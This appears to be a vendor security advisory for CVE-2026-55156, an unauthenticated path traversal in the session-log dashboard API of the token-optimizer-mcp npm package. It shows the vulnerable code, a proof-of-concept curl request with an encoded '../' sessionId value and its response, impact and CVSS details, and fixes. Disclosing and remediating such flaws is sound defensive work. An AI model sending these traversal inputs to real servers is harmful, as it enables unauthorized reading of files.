CVE-2026-55156

Token Optimizer MCP: Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
        sessionId,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target"

GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1
Host: 127.0.0.1:3100
User-Agent: python-requests/2.x
Accept: */*

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]}

An unauthenticated remote attacker can read the contents of any .jsonl file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other .jsonl file reachable via .. traversal from hooksDataPath. The constraint that the resolved path must end in .jsonl limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both /api/session-summary and /api/session-events, and neither endpoint requires authentication.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-55156 has a CVSS score of 5.3 (Medium). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.1.0); upgrading removes the vulnerable code path.

Kodem intelligence

Already deployed Kodem?

1. Validate sessionId format before use: reject any value that does not match a strict allowlist such as /^[a-zA-Z0-9_-]{1,64}$/. This prevents / and . characters from entering the path construction entirely.

   const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/;
   if (!SESSION_ID_RE.test(sessionId)) {
     return res.status(400).json({ success: false, error: 'Invalid sessionId' });
   }
   

2. Alternatively, apply path.basename to strip all directory components: path.basename(sessionId) reduces any traversal sequence to a bare filename before path.join.

3. Add authentication middleware to all /api/* routes so that even if a bypass is found the endpoints are not reachable without a valid session token.

1. What is CVE-2026-55156? CVE-2026-55156 is a medium-severity path traversal vulnerability in @ooples/token-optimizer-mcp (npm), affecting versions < 5.1.0. It is fixed in 5.1.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-55156? CVE-2026-55156 has a CVSS score of 5.3 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of @ooples/token-optimizer-mcp are affected by CVE-2026-55156? @ooples/token-optimizer-mcp (npm) versions < 5.1.0 is affected.
4. Is there a fix for CVE-2026-55156? Yes. CVE-2026-55156 is fixed in 5.1.0. Upgrade to this version or later.
5. Is CVE-2026-55156 exploitable, and should I be worried? Whether CVE-2026-55156 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-55156 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-55156? Upgrade @ooples/token-optimizer-mcp to 5.1.0 or later.

Other vulnerabilities in @ooples/token-optimizer-mcp